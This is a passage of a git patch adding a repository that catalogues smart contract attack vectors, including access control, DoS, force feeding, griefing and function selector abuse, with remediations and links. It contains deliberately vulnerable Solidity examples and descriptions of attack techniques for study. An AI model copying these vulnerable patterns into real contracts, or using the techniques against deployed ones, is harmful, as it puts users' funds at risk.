From 0193fbcc17d699293f49ec0e7948d4ff52c7f5ce Mon Sep 17 00:00:00 2001 From: behrouzT Date: Tue, 28 Mar 2023 21:35:42 +0430 Subject: [PATCH] send and init --- README.md | 80 ++++++++++++ attack-vectors/Access_Control.md | 49 ++++++++ ...unt_Existence_Check_for_low_level_calls.md | 5 + ...Arbitrary_Jumps_with_Function_Variables.md | 5 + attack-vectors/Assert_Violation.md | 5 + attack-vectors/Bypass_Contract_Size_Check.md | 3 + attack-vectors/Code_With_No_Effects.md | 3 + attack-vectors/Complex_Modifiers.md | 3 + attack-vectors/DOS.md | 27 ++++ attack-vectors/Dirty_Higher_Order_Bits.md | 3 + attack-vectors/Entropy_Illusion.md | 5 + .../Experimental_Language_Features.md | 1 + .../External_Contrac_Referencing.md | 3 + attack-vectors/Flash_Loan_Attack.md | 1 + attack-vectors/Floating_Point_Arithmetic.md | 3 + attack-vectors/Force_Feeding.md | 82 ++++++++++++ .../Frontend_(Off_Chain)_Attacks.md | 10 ++ attack-vectors/Function_Selector_Abuse.md | 11 ++ attack-vectors/Griefing.md | 65 ++++++++++ attack-vectors/Hidden_malicious_code.md | 5 + attack-vectors/Historic_Attacks.md | 19 +++ attack-vectors/Improper_Array_Deletion.md | 7 ++ attack-vectors/Incorrect_Interface.md | 3 + attack-vectors/Insufficient_Gas_Attacks.md | 1 + attack-vectors/Integer_Arithmetic.md | 6 + attack-vectors/Loop_through_long_arrays.md | 3 + .../Message_call_with_hardcoded_gas_amount.md | 1 + attack-vectors/Miners_Attack.md | 16 +++ attack-vectors/Offline_Owner.md | 1 + attack-vectors/Oracle_Manipulation.md | 1 + attack-vectors/Outdated_Compiler.md | 4 + attack-vectors/Payable_Multicall.md | 5 + .../Precision_Loss_in_Calculations.md | 1 + attack-vectors/Privacy_Illusion.md | 10 ++ attack-vectors/Proxy_Storage_Collision.md | 1 + attack-vectors/Reentrancy.md | 118 ++++++++++++++++++ ...eft-Override_control_character_(U+202E).md | 7 ++ attack-vectors/Sandwich_Attack.md | 4 + attack-vectors/Signature_Replay.md | 6 + attack-vectors/Unchecked_External_Calls.md | 7 ++ .../Uninitialized_Storage_Pointers.md | 4 + attack-vectors/Unprotected_Upgrades.md | 8 ++ attack-vectors/Unsafe_Delegatecall.md | 5 + attack-vectors/Unused_Variable.md | 7 ++ .../Use_of_Deprecated_Solidity_Functions.md | 3 + attack-vectors/Variable_Shadowing.md | 5 + .../Writes_to_Arbitrary_Storage_Locations.md | 3 + attack-vectors/Wrong_inheritance.md | 5 + tools-and-ctfs/CTFs.md | 19 +++ tools-and-ctfs/Web3_Security_Tools.md | 38 ++++++ 50 files changed, 687 insertions(+) create mode 100644 README.md create mode 100644 attack-vectors/Access_Control.md create mode 100644 attack-vectors/Account_Existence_Check_for_low_level_calls.md create mode 100644 attack-vectors/Arbitrary_Jumps_with_Function_Variables.md create mode 100644 attack-vectors/Assert_Violation.md create mode 100644 attack-vectors/Bypass_Contract_Size_Check.md create mode 100644 attack-vectors/Code_With_No_Effects.md create mode 100644 attack-vectors/Complex_Modifiers.md create mode 100644 attack-vectors/DOS.md create mode 100644 attack-vectors/Dirty_Higher_Order_Bits.md create mode 100644 attack-vectors/Entropy_Illusion.md create mode 100644 attack-vectors/Experimental_Language_Features.md create mode 100644 attack-vectors/External_Contrac_Referencing.md create mode 100644 attack-vectors/Flash_Loan_Attack.md create mode 100644 attack-vectors/Floating_Point_Arithmetic.md create mode 100644 attack-vectors/Force_Feeding.md create mode 100644 attack-vectors/Frontend_(Off_Chain)_Attacks.md create mode 100644 attack-vectors/Function_Selector_Abuse.md create mode 100644 attack-vectors/Griefing.md create mode 100644 attack-vectors/Hidden_malicious_code.md create mode 100644 attack-vectors/Historic_Attacks.md create mode 100644 attack-vectors/Improper_Array_Deletion.md create mode 100644 attack-vectors/Incorrect_Interface.md create mode 100644 attack-vectors/Insufficient_Gas_Attacks.md create mode 100644 attack-vectors/Integer_Arithmetic.md create mode 100644 attack-vectors/Loop_through_long_arrays.md create mode 100644 attack-vectors/Message_call_with_hardcoded_gas_amount.md create mode 100644 attack-vectors/Miners_Attack.md create mode 100644 attack-vectors/Offline_Owner.md create mode 100644 attack-vectors/Oracle_Manipulation.md create mode 100644 attack-vectors/Outdated_Compiler.md create mode 100644 attack-vectors/Payable_Multicall.md create mode 100644 attack-vectors/Precision_Loss_in_Calculations.md create mode 100644 attack-vectors/Privacy_Illusion.md create mode 100644 attack-vectors/Proxy_Storage_Collision.md create mode 100644 attack-vectors/Reentrancy.md create mode 100644 attack-vectors/Right-To-Left-Override_control_character_(U+202E).md create mode 100644 attack-vectors/Sandwich_Attack.md create mode 100644 attack-vectors/Signature_Replay.md create mode 100644 attack-vectors/Unchecked_External_Calls.md create mode 100644 attack-vectors/Uninitialized_Storage_Pointers.md create mode 100644 attack-vectors/Unprotected_Upgrades.md create mode 100644 attack-vectors/Unsafe_Delegatecall.md create mode 100644 attack-vectors/Unused_Variable.md create mode 100644 attack-vectors/Use_of_Deprecated_Solidity_Functions.md create mode 100644 attack-vectors/Variable_Shadowing.md create mode 100644 attack-vectors/Writes_to_Arbitrary_Storage_Locations.md create mode 100644 attack-vectors/Wrong_inheritance.md create mode 100644 tools-and-ctfs/CTFs.md create mode 100644 tools-and-ctfs/Web3_Security_Tools.md diff --git a/README.md b/README.md new file mode 100644 index 0000000..efc047a --- /dev/null +++ b/README.md @@ -0,0 +1,80 @@ +# Smart contract attack vectors +The objective of this repository is to gather a comprehensive list of potential attack vectors that could compromise smart contracts, as + well as resources for learning how to prevent them. We welcome contributions in the form of pull requests, ranging from minor + documentation adjustments to the addition of new tools or resources. + +[![Follow Linkedin](https://img.shields.io/badge/Support-Project-critical)](https://www.linkedin.com/in/behrouz-torabi-409500173/) + +## List of Security Vulnerabilities + +- [Access Control](attack-vectors/Access_Control.md) + - [Authentication With tx.origin](attack-vectors/Access_Control.md/#authentication-with-txorigin) + - [Default Visibility](attack-vectors/Access_Control.md/#default-visibility) + - [Signature Verification](attack-vectors/Access_Control.md/#signature-verification) + - [Unprotected Ether Withdrawal](attack-vectors/Access_Control.md/#unprotected-ether-withdrawal) + - [Unprotected SELFDESTRUCT Instruction](attack-vectors/Access_Control.md/#unprotected-selfdestruct-instruction) + - [Missed Modifier](attack-vectors/Access_Control.md/#missed-modifier) + - [Incorrect Modifier Names](attack-vectors/Access_Control.md/#incorrect-modifier-names) + - [Overpowered Roles](attack-vectors/Access_Control.md/#overpowered-roles) +- [Account Existence Check for low level calls](attack-vectors/Account_Existence_Check_for_low_level_calls.md) +- [Arbitrary Jumps with Function Variables](attack-vectors/Arbitrary_Jumps_with_Function_Variables.md) +- [Assert Violation](attack-vectors/Assert_Violation.md) +- [Bypass Contract Size Check](attack-vectors/Bypass_Contract_Size_Check.md) +- [Code With No Effects](attack-vectors/Code_With_No_Effects.md) +- [Complex Modifiers](attack-vectors/Complex_Modifiers.md) +- [DOS](attack-vectors/DOS.md) + - [Unexpected Revert](attack-vectors/DOS.md/#unexpected-revert) + - [Block Gas Limit](attack-vectors/DOS.md/#block-gas-limit) + - [External Calls without Gas Stipends](attack-vectors/DOS.md/#external-calls-without-gas-stipends) +- [Dirty Higher Order Bits](attack-vectors/Dirty_Higher_Order_Bits.md) +- [Entropy Illusion / Insecure Randomness](attack-vectors/Entropy_Illusion.md) +- [Experimental Language Features](attack-vectors/Experimental_Language_Features.md) +- [External Contract Referencing](attack-vectors/External_Contrac_Referencing.md) +- [Flash Loan Attacks](attack-vectors/Flash_Loan_Attack.md) +- [Floating Point Arithmetic](attack-vectors/Floating_Point_Arithmetic.md) +- [Frontend (Off Chain) Attacks]() + - [Short Address Attack]() +- [Force Feeding](attack-vectors/Force_Feeding.md) +- [Function Selector Abuse](attack-vectors/Function_Selector_Abuse.md) +- [Griefing](attack-vectors/Griefing.md) +- [Hiding Malicious Code](attack-vectors/Hidden_malicious_code.md) +- [Historic Attacks](attack-vectors/Historic_Attacks.md) + - [Constructor Names](attack-vectors/Historic_Attacks.md/#constructor-names) + - [Call Depth Attack](attack-vectors/Historic_Attacks.md/#constructor-names) + - [Solidity Abi Encoder v2 Bug](attack-vectors/Historic_Attacks.md/#solidity-abi-encoder-v2-bug) +- [Improper Array Deletion](attack-vectors/Improper_Array_Deletion.md) +- [Incorrect Interface](attack-vectors/Incorrect_Interface.md) +- [Insufficient Gas Attacks](attack-vectors/Insufficient_Gas_Attacks.md) +- [Integer Arithmetic](attack-vectors/Integer_Arithmetic.md) +- [Loop through long arrays](attack-vectors/Loop_through_long_arrays.md) +- [Message call with hardcoded gas amount](attack-vectors/Message_call_with_hardcoded_gas_amount.md) +- [Miner Attacks](attack-vectors/Miners_Attack.md) + - [Transaction Ordering / Frontrunning](attack-vectors/Miners_Attack.md/#transaction-ordering--frontrunning) + - [Timestamp Manipulation](attack-vectors/Miners_Attack.md/#timestamp-manipulation) +- [Offline Owner](attack-vectors/Offline_Owner.md) +- [Oracle Manipulation](attack-vectors/Oracle_Manipulation.md) +- [Outdated Compiler](attack-vectors/Outdated_Compiler.md) +- [Payable Multicall](attack-vectors/Payable_Multicall.md) +- [Precision Loss in Calculations](attack-vectors/Precision_Loss_in_Calculations.md) +- [Privacy Illusion](attack-vectors/Privacy_Illusion.md) +- [Proxy Storage Collision](attack-vectors/Proxy_Storage_Collision.md) +- [Reentrancy](attack-vectors/Reentrancy.md) +- [Right-To-Left-Override control character (U+202E)]() +- [Sandwich Attacks](attack-vectors/Sandwich_Attack.md) +- [Signature Replay](attack-vectors/Signature_Replay.md) +- [Unchecked External Calls](attack-vectors/Unchecked_External_Calls.md) +- [Uninitialized Storage Pointers](attack-vectors/Uninitialized_Storage_Pointers.md) +- [Unprotected Upgrades](attack-vectors/Unprotected_Upgrades.md) +- [Unsafe Delegatecalls](attack-vectors/Unsafe_Delegatecall.md) +- [Unused Variable](attack-vectors/Unused_Variable.md) +- [Use of Deprecated Solidity Functions](attack-vectors/Use_of_Deprecated_Solidity_Functions.md) +- [Variable Shadowing](attack-vectors/Variable_Shadowing.md) +- [Writes to Arbitrary Storage Locations](attack-vectors/Writes_to_Arbitrary_Storage_Locations.md) +- [Wrong inheritance](attack-vectors/Wrong_inheritance.md) + +# + +## [CTFs](tools-and-ctfs/CTFs.md) + +## [Security Tools](tools-and-ctfs/Web3_Security_Tools.md) + diff --git a/attack-vectors/Access_Control.md b/attack-vectors/Access_Control.md new file mode 100644 index 0000000..706207c --- /dev/null +++ b/attack-vectors/Access_Control.md @@ -0,0 +1,49 @@ +# Access Control + +There are a number of common mistakes relating to access control. + +## Default Visibility + +The default visibility of solidity functions/state variables is `public`. Developers may forget to specify the visibility for a function/state variable that is intended to be private. + +## Authentication With tx.origin + +Sometimes developer use tx.origin instead of msg.sender. Tx.origin returns the address of the account that originally sent the call. Use this varible for authenticating leaves contract vulnerable to a phising-like attack. + +- [Sigmaprime: tx.origin Authentication](https://blog.sigmaprime.io/solidity-security.html#tx-origin) + +## Signature Verification + +It is a common pattern for smart contract systems to allow users to sign messages off-chain instead of directly requesting users to do an on-chain transaction because of the flexibility and increased transferability that this provides. Smart contract systems that process signed messages have to implement their own logic to recover the authenticity from the signed messages before they process them further. A limitation for such systems is that smart contracts can not directly interact with them because they can not sign messages. Some signature verification implementations attempt to solve this problem by assuming the validity of a signed message based on other methods that do not have this limitation. An example of such a method is to rely on msg.sender and assume that if a signed message originated from the sender address then it has also been created by the sender address. This can lead to vulnerabilities especially in scenarios where proxies can be used to relay transactions. + +- [SWC Registry: Lack of Proper Signature Verification](https://swcregistry.io/docs/SWC-122) + +### Remediation + +It is not recommended to use alternate verification schemes that do not require proper signature verification through `ecrecover()`. + +## Unprotected Ether Withdrawal + +Due to missing or insufficient access controls, malicious parties can withdraw some or all Ether from the contract account. + +This bug is sometimes caused by unintentionally exposing initialization functions. By wrongly naming a function intended to be a constructor, the constructor code ends up in the runtime byte code and can be called by anyone to re-initialize the contract. + +- [SWC Registry: Unprotected Ether Withdrawal](https://swcregistry.io/docs/SWC-105) + +## Unprotected SELFDESTRUCT Instruction + +Due to missing or insufficient access controls, malicious parties can self-destruct the contract. + +- [SWC Registry: Unprotected SELFDESTRUCT](https://swcregistry.io/docs/SWC-106) + +## Missed Modifier + +It is important to have access control validations on critical functions that execute actions like modifying the owner, transfer of funds and tokens, pausing and unpausing the contracts, etc. Missing validations either in the modifier or inside require or conditional statements will most probably lead to compromise of the contract or loss of funds. + +## Incorrect Modifier Names + +Due to the developer’s mistakes and spelling errors, it may happen that the name of the modifier or function is incorrect than intended. Malicious actors may also exploit it to call the critical function without the modifier, which may lead to loss of funds or change of ownership depending on the function’s logic. + +## Overpowered Roles + +Allowing users to have overpowered roles may lead to vulnerabilities. The practice of least privilege must always be followed in assigning privileges. diff --git a/attack-vectors/Account_Existence_Check_for_low_level_calls.md b/attack-vectors/Account_Existence_Check_for_low_level_calls.md new file mode 100644 index 0000000..46ec8bf --- /dev/null +++ b/attack-vectors/Account_Existence_Check_for_low_level_calls.md @@ -0,0 +1,5 @@ +As written in the solidity documentation, the low-level functions call, delegatecall and staticcall return true as their first return value if the account called is non-existent, as part of the design of the EVM. Account existence must be checked prior to calling if needed. + +## Remediation + +Check before any low-level call that the address actually exists, for example before the low level call in the callERC20 function you can check that the address is a contract by checking its code size. diff --git a/attack-vectors/Arbitrary_Jumps_with_Function_Variables.md b/attack-vectors/Arbitrary_Jumps_with_Function_Variables.md new file mode 100644 index 0000000..1cbea81 --- /dev/null +++ b/attack-vectors/Arbitrary_Jumps_with_Function_Variables.md @@ -0,0 +1,5 @@ +Solidity supports function types. That is, a variable of function type can be assigned with a reference to a function with a matching signature. The function saved to such variable can be called just like a regular function. + +The problem arises when a user has the ability to arbitrarily change the function type variable and thus execute random code instructions. As Solidity doesn't support pointer arithmetics, it's impossible to change such variable to an arbitrary value. However, if the developer uses assembly instructions, such as `mstore` or assign operator, in the worst case scenario an attacker is able to point a function type variable to any code instruction, violating required validations and required state changes. + +- [SWC Registry: Arbitrary Jump with Function Type Variable](https://smartcontractsecurity.github.io/SWC-registry/docs/SWC-127) diff --git a/attack-vectors/Assert_Violation.md b/attack-vectors/Assert_Violation.md new file mode 100644 index 0000000..d071bc3 --- /dev/null +++ b/attack-vectors/Assert_Violation.md @@ -0,0 +1,5 @@ +Properly functioning code should never violate an `assert` statement. This can occur if developers mistakenly use `assert` instead of `require`. + +-[ SWC Registry: Assert Violation](https://smartcontractsecurity.github.io/SWC-registry/docs/SWC-110) + +- [SWC Registry: Assert Violation](https://smartcontractsecurity.github.io/SWC-registry/docs/SWC-123) -[Solidity Documentation: Error Handling](https://solidity.readthedocs.io/en/latest/control-structures.html?highlight%3Dassert#error-handling-assert-require-revert-and-exceptions) diff --git a/attack-vectors/Bypass_Contract_Size_Check.md b/attack-vectors/Bypass_Contract_Size_Check.md new file mode 100644 index 0000000..54bef11 --- /dev/null +++ b/attack-vectors/Bypass_Contract_Size_Check.md @@ -0,0 +1,3 @@ +It is possible to create a contract with code size returned by extcodesize equal to 0. This can lead to bypass of 0-address check in a contract, which may lead to lost of fund or locking of funds. + +- [Solidity By Example: Bypass Contract Size Check](https://solidity-by-example.org/hacks/contract-size/) diff --git a/attack-vectors/Code_With_No_Effects.md b/attack-vectors/Code_With_No_Effects.md new file mode 100644 index 0000000..52b491d --- /dev/null +++ b/attack-vectors/Code_With_No_Effects.md @@ -0,0 +1,3 @@ +In Solidity, it's possible to write code that does not produce the intended effects. Currently, the solidity compiler will not return a warning for effect-free code. This can lead to the introduction of "dead" code that does not properly performing an intended action. + +For example, it's easy to miss the trailing parentheses in `msg.sender.call.value(address(this).balance)("");`, which could lead to a function proceeding without transferring funds to msg.sender. Although, this should be avoided by checking the return value of the call. diff --git a/attack-vectors/Complex_Modifiers.md b/attack-vectors/Complex_Modifiers.md new file mode 100644 index 0000000..70cb4f0 --- /dev/null +++ b/attack-vectors/Complex_Modifiers.md @@ -0,0 +1,3 @@ +Use modifiers only for input validation with `require`. Modifiers should not contain any substantive logic, because that logic will be executed before any input validation done at the start of function bodies. + +- [Consensys Best Practices: Use Modifiers Only for Assertions](https://consensys.github.io/smart-contract-best-practices/recommendations/#use-modifiers-only-for-assertions) diff --git a/attack-vectors/DOS.md b/attack-vectors/DOS.md new file mode 100644 index 0000000..eebacef --- /dev/null +++ b/attack-vectors/DOS.md @@ -0,0 +1,27 @@ +# DOS (Denial of Service) + +This is a broad category of attacks where an attacker may render a contract inoperable, temporarily or permanently. + +- [DASP: Denial of Service](https://www.dasp.co/#item-5) +- [Sigmaprime: Denial of Service](https://blog.sigmaprime.io/solidity-security.html#dos) +- [Trail of Bits: Denial of Service](https://github.com/crytic/not-so-smart-contracts/tree/master/denial_of_service) + +## Unexpected Revert + +An attacker may be able to exploit the fact that `transfer`(alternatively `require(addr.send(amount))`) reverts on failure to prevent a function from ever completing execution. + +- [Consensys Best Practices: DOS with Unexpected Revert](https://consensys.github.io/smart-contract-best-practices/attacks/denial-of-service/#dos-with-unexpected-revert) +- [SWC Registry: DOS with Failed Call](https://swcregistry.io/docs/SWC-113) + +## Block gas limit + +In cases where the users of a system can manipulate how much computation (gas) is necessary for the execution of some function, it may be possible to DOS the system by causing the required gas to exceed the block gas limit. This is often the case in systems that loop over an array or mapping that can be enlarged by users at little cost. + +- [Consensys Best Practices: DOS with Block Gas Limit](https://consensys.github.io/smart-contract-best-practices/attacks/denial-of-service/#dos-with-block-gas-limit) +- [SWC Registry: DOS with Block Gas Limit](https://swcregistry.io/docs/SWC-128) + +## External Calls without Gas Stipends + +In some cases, developers may want to make a transfer and continue execution regardless of the result. One way to achieve this is with `call.value(v)()`, however this may allow the recipient to consume all the gas of the calling function, preventing execution from continuing. See example 1 here: + +- [Sigmaprime: Denial of Service](https://blog.sigmaprime.io/solidity-security.html#dos) diff --git a/attack-vectors/Dirty_Higher_Order_Bits.md b/attack-vectors/Dirty_Higher_Order_Bits.md new file mode 100644 index 0000000..5213265 --- /dev/null +++ b/attack-vectors/Dirty_Higher_Order_Bits.md @@ -0,0 +1,3 @@ +If `keccak256(msg.data)` or some similar hash functionality is used (for example to log past calls), be aware that functions of types that don't occupy 32 bytes may be called with identical arguments but different hashes. + +- [Solidity Documentation: Minor Details](https://solidity.readthedocs.io/en/latest/security-considerations.html#minor-details) diff --git a/attack-vectors/Entropy_Illusion.md b/attack-vectors/Entropy_Illusion.md new file mode 100644 index 0000000..87c69b6 --- /dev/null +++ b/attack-vectors/Entropy_Illusion.md @@ -0,0 +1,5 @@ +The EVM does not have support for uncertainty/random number generation. Contracts may try to simulate uncertainty in a way that is in fact predictable and exploitable. + +- [Sigmaprime: Entropy Illusion](https://blog.sigmaprime.io/solidity-security.html#entropy) +- [DASP: Bad Randomness](https://www.dasp.co/#item-6) +- [SWC Registry: Weak Sources of Randomness from Chain Attributes](https://smartcontractsecurity.github.io/SWC-registry/docs/SWC-120) diff --git a/attack-vectors/Experimental_Language_Features.md b/attack-vectors/Experimental_Language_Features.md new file mode 100644 index 0000000..ed80f74 --- /dev/null +++ b/attack-vectors/Experimental_Language_Features.md @@ -0,0 +1 @@ +Avoid experimental language features, as these are not properly tested and have contained [vulnerabilities](https://blog.ethereum.org/2019/03/26/solidity-optimizer-and-abiencoderv2-bug) in the past. diff --git a/attack-vectors/External_Contrac_Referencing.md b/attack-vectors/External_Contrac_Referencing.md new file mode 100644 index 0000000..8a61728 --- /dev/null +++ b/attack-vectors/External_Contrac_Referencing.md @@ -0,0 +1,3 @@ +When a contract delegates some of its functionality to an external contract whose address is either inaccessible or subject to change, a benign implementation may be swapped out for a malicious one. + +- [Sigmaprime: External Contract Referencing](https://blog.sigmaprime.io/solidity-security.html#contract-reference) diff --git a/attack-vectors/Flash_Loan_Attack.md b/attack-vectors/Flash_Loan_Attack.md new file mode 100644 index 0000000..876a139 --- /dev/null +++ b/attack-vectors/Flash_Loan_Attack.md @@ -0,0 +1 @@ +A flash loan attack is an abuse of the smart contract security of a particular platform in which an attacker usually borrows a lot of funds that don’t require collateral. They then manipulate the price of a crypto asset on one exchange and quickly resell it on another one. diff --git a/attack-vectors/Floating_Point_Arithmetic.md b/attack-vectors/Floating_Point_Arithmetic.md new file mode 100644 index 0000000..4317d03 --- /dev/null +++ b/attack-vectors/Floating_Point_Arithmetic.md @@ -0,0 +1,3 @@ +Fixed point numbers are not yet fully supported by solidity. User implementations may contain errors. + +- [Fixed point numbers are not yet fully supported by solidity. User implementations may contain errors.](https://blog.sigmaprime.io/solidity-security.html#precision) diff --git a/attack-vectors/Force_Feeding.md b/attack-vectors/Force_Feeding.md new file mode 100644 index 0000000..0eab824 --- /dev/null +++ b/attack-vectors/Force_Feeding.md @@ -0,0 +1,82 @@ +Forcing a smart contract to hold an Ether balance can influence its internal accounting and security assumptions. +There are multiple ways a smart contract can receive Ether. The hierarchy is as follows: + +1. Check whether a payable external `receive` function is defined. +2. If not, check whether a payable external `fallback` function is defined. +3. Revert. + +The precedence of each function is explained in this great graphic from the [Solidity by Example](https://solidity-by-example.org/sending-ether/) article: + +``` +Which function is called, fallback() or receive()? + + send Ether + | + msg.data is empty? + / \ + yes no + / \ +receive() exists? fallback() + / \ + yes no + / \ + receive() fallback() +``` + +Consider the following example: + +```sol +pragma solidity ^0.8.13; + +contract Vulnerable { + receive() external payable { + revert(); + } + + function somethingBad() external { + require(address(this).balance > 0); + // Do something bad + } +} +``` + +The contract's logic seemingly disallows direct payments and prevents "something bad" from happening. +However, calling `revert` in both `fallback` and `receive` **cannot prevent the contract from receiving Ether**. +The following techniques can be used to force-feed Ether to a smart contract. + +### Selfdestruct + +When the `SELFDESTRUCT` opcode is called, funds of the calling address are sent to the address on the stack, and execution is immediately halted. +Since this opcode works on the EVM-level, Solidity-level functions that might block the receipt of Ether [will not be executed](https://solidity.readthedocs.io/en/develop/security-considerations.html#sending-and-receiving-ether). + +### Pre-calculated Deployments + +Additionally, the target address of newly deployed smart contracts is generated in a deterministic fashion. +The address generation can be looked up in any EVM implementation, such as the [py-evm reference implementation](https://github.com/ethereum/py-evm/blob/e924f63992a35212616b4e20355d161bc4348925/eth/_utils/address.py#L17-L18) by the Ethereum Foundation: + +```python +def generate_contract_address(address: Address, nonce: int) -> Address: + return force_bytes_to_address(keccak(rlp.encode([address, nonce]))) +``` + +An attacker can send funds to this address before the deployment has happened. +This is also illustrated by [this 2017 Underhanded Solidity Contest submission](https://github.com/Arachnid/uscc/tree/master/submissions-2017/ricmoo). + +### Block Rewards and Coinbase + +Depending on the attacker's capabilities, they can also start proof-of-work mining. +By setting the target address to their `coinbase`, block rewards will be added to its balance. +As this is yet another EVM-level capability, checks performed by Solidity are ineffective. + +### Solution + +The above effects illustrate that relying on exact comparisons to the contract's Ether balance is unreliable. +The smart contract's business logic must consider that the actual balance associated with it can be higher than the internal accounting's value. + +**In general, we strongly advise against using the contract's balance as a guard.** + +More information can be found in [SWC-132](https://swcregistry.io/docs/SWC-132). + +## References + +- [Force Feeding | Consensys](https://consensys.github.io/smart-contract-best-practices/attacks/force-feeding/#) diff --git a/attack-vectors/Frontend_(Off_Chain)_Attacks.md b/attack-vectors/Frontend_(Off_Chain)_Attacks.md new file mode 100644 index 0000000..893d47e --- /dev/null +++ b/attack-vectors/Frontend_(Off_Chain)_Attacks.md @@ -0,0 +1,10 @@ +These are possible vulnerabilities in frontends to ethereum contracts, not vulnerabilities in the contracts themselves. (Possibly out of scope.) + +## Short Address Attack + +Short address attacks are a side-effect of the EVM itself accepting incorrectly padded arguments. Attackers can exploit this by using specially-crafted addresses to make poorly coded clients encode arguments incorrectly before including them in transactions. Is this an EVM issue or a client issue? Should it be fixed in smart contracts instead? While everyone has a different opinion, the fact is that a great deal of ether could be directly impacted by this issue. While this vulnerability has yet to be exploited in the wild, it is a good demonstration of problems arising from the interaction between clients and the Ethereum blockchain. Other off-chain issues exist: an important one is the Ethereum ecosystem's deep trust in specific Javascript front ends, browser plugins and public nodes. An infamous off-chain exploit was used in the hack of the Coindash ICO that modified the company's Ethereum address on their webpage to trick participants into sending ethers to the attacker's address. + +Frontends should validate any input used to make transactions on chain. + +- [Sigmaprime: Short Address / Parameter Attack](https://blog.sigmaprime.io/solidity-security.html#short-address) +- [DASP: Short Address Attack](https://www.dasp.co/#item-9) diff --git a/attack-vectors/Function_Selector_Abuse.md b/attack-vectors/Function_Selector_Abuse.md new file mode 100644 index 0000000..3d340fb --- /dev/null +++ b/attack-vectors/Function_Selector_Abuse.md @@ -0,0 +1,11 @@ +To call a function on another contract, the standard ABI way to do so is to pass as calldata a function "selector", followed by the encoded arguments. You can read more [here](https://docs.soliditylang.org/en/v0.8.7/abi-spec.html), but a short example follows. + +In solidity, a call may look like `otherContract.foo("hello")`, but in reality, the call becomes `address(otherContract).call(abi.encodeWithSignature("foo(string)", "hello"))` which in practice becomes + +`0xf31a69690000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000568656c6c6f000000000000000000000000000000000000000000000000000000` + +The first 4 bytes `0xf31a6969`, are called the function selector, and consist of the first 4 bytes of the Keccak256 hash of the string "foo(string)". All ABI-compliant contracts on Ethereum begin by looking at these bytes of the calldata and jump to the corresponding function body. + +If a contract performs a call to an external contract, and the user can influence *any* part of the method signature (such as the function name, or its type), they can call *any* function on the external contract, simply by manipulating the string until a selector matching the desired one is found. + +This was behind the Poly Network hack in August 2021, where an attacker crafted messages on one chain which got processed on another chain. The contracts assumed well-behaved transactions, and the attacker managed to trick the contracts into calling privileged functions on yet other contracts. diff --git a/attack-vectors/Griefing.md b/attack-vectors/Griefing.md new file mode 100644 index 0000000..d8751bf --- /dev/null +++ b/attack-vectors/Griefing.md @@ -0,0 +1,65 @@ +This attack may be possible on a contract which accepts generic data and uses it to make a call +another contract (a 'sub-call') via the low level `address.call()` function, as is often the case +with multisignature and transaction relayer contracts. + +If the call fails, the contract has two options: + +1. revert the whole transaction +1. continue execution. + +Take the following example of a simplified `Relayer` contract which continues execution regardless +of the outcome of the subcall: + +```sol +contract Relayer { + mapping (bytes => bool) executed; + + function relay(bytes _data) public { + // replay protection; do not call the same transaction twice + require(executed[_data] == 0, "Duplicate call"); + executed[_data] = true; + innerContract.call(bytes4(keccak256("execute(bytes)")), _data); + } +} +``` + +This contract allows transaction relaying. Someone who wants to make a transaction but can't +execute it by himself (e.g. due to the lack of ether to pay for gas) can sign data that he wants to +pass and transfer the data with his signature over any medium. A third party "forwarder" can then +submit this transaction to the network on behalf of the user. + +If given just the right amount of gas, the `Relayer` would complete execution recording the +`_data`argument in the `executed` mapping, but the subcall would fail because it received +insufficient gas to complete execution. + +!!! Note +When a contract makes a sub-call to another contract, the EVM limits the gas forwarded to +[to 63/64 of the remaining gas](https://github.com/ethereum/EIPs/blob/master/EIPS/eip-150.md), + +An attacker can use this to censor transactions, causing them to fail by sending them with a low +amount of gas. This attack is a form of "[griefing](https://en.wikipedia.org/wiki/Griefer)": It +doesn't directly benefit the attacker, but causes grief for the victim. A dedicated attacker, +willing to consistently spend a small amount of gas could theoretically censor all transactions +this way, if they were the first to submit them to `Relayer`. + +One way to address this is to implement logic requiring forwarders to provide enough gas to finish +the subcall. If the miner tried to conduct the attack in this scenario, the `require` statement +would fail and the inner call would revert. A user can specify a minimum gasLimit along with the +other data (in this example, typically the `_gasLimit` value would be verified by a signature, but +that is omitted for simplicity in this case). + +```sol +// contract called by Relayer +contract Executor { + function execute(bytes _data, uint _gasLimit) { + require(gasleft() >= _gasLimit); + ... + } +} +``` + +Another solution is to permit only trusted accounts to relay the transaction. + +## References - + +- [Griefing | Consensys](https://consensys.github.io/smart-contract-best-practices/attacks/griefing/) diff --git a/attack-vectors/Hidden_malicious_code.md b/attack-vectors/Hidden_malicious_code.md new file mode 100644 index 0000000..da9cb96 --- /dev/null +++ b/attack-vectors/Hidden_malicious_code.md @@ -0,0 +1,5 @@ +Developer of the contract can hide the code. Developers of a dApp publish their code and contract address to etherscan.io for everyone to have a look at it and audit. This creates some sort of trust for the project but, there is a way using which the developer can hide the malicious code. + +This kind of attack may fool many of the auditors out there. So, one good solution is to review the code for any external unverified address called via the constructor. + +- [Hiding Malicious Code](https://coinsbench.com/hiding-malicious-code-hack-solidity-8-db2cb93c843) diff --git a/attack-vectors/Historic_Attacks.md b/attack-vectors/Historic_Attacks.md new file mode 100644 index 0000000..3b975f4 --- /dev/null +++ b/attack-vectors/Historic_Attacks.md @@ -0,0 +1,19 @@ +### Constructor Names + +Fixed in solidity `v0.4.22` + +- [Sigmaprime: Constructors with Care](https://blog.sigmaprime.io/solidity-security.html#constructors) +- [Trail of Bits: Wrong Constructor Name](https://github.com/crytic/not-so-smart-contracts/tree/master/wrong_constructor_name) +- [SWC Registry: Incorrect Constructor Name](https://smartcontractsecurity.github.io/SWC-registry/docs/SWC-118) + +### Call Depth Attack + +Fixed in [EIP 150](https://github.com/ethereum/EIPs/issues/150) + +- [Solidity Documentation: Callstack Depth](https://solidity.readthedocs.io/en/latest/security-considerations.html#callstack-depth) + +### Solidity Abi Encoder v2 Bug + +Fixed in solidity `v0.5.7` + +- [Ethereum.org Blog](https://blog.ethereum.org/2019/03/26/solidity-optimizer-and-abiencoderv2-bug/) diff --git a/attack-vectors/Improper_Array_Deletion.md b/attack-vectors/Improper_Array_Deletion.md new file mode 100644 index 0000000..8f1cf3f --- /dev/null +++ b/attack-vectors/Improper_Array_Deletion.md @@ -0,0 +1,7 @@ +In Solidity, we remove an element from an array using the “delete” function. However, the length and sequence of the array may not remain as expected. If we delete the array index x, we will see that the array length remains the same, just that the value at index x has been set to zero. + +## Remediation: + +Instead of “delete” and “.length=0”, use push and pop functions to interact with array elements. + +- [Improper Array 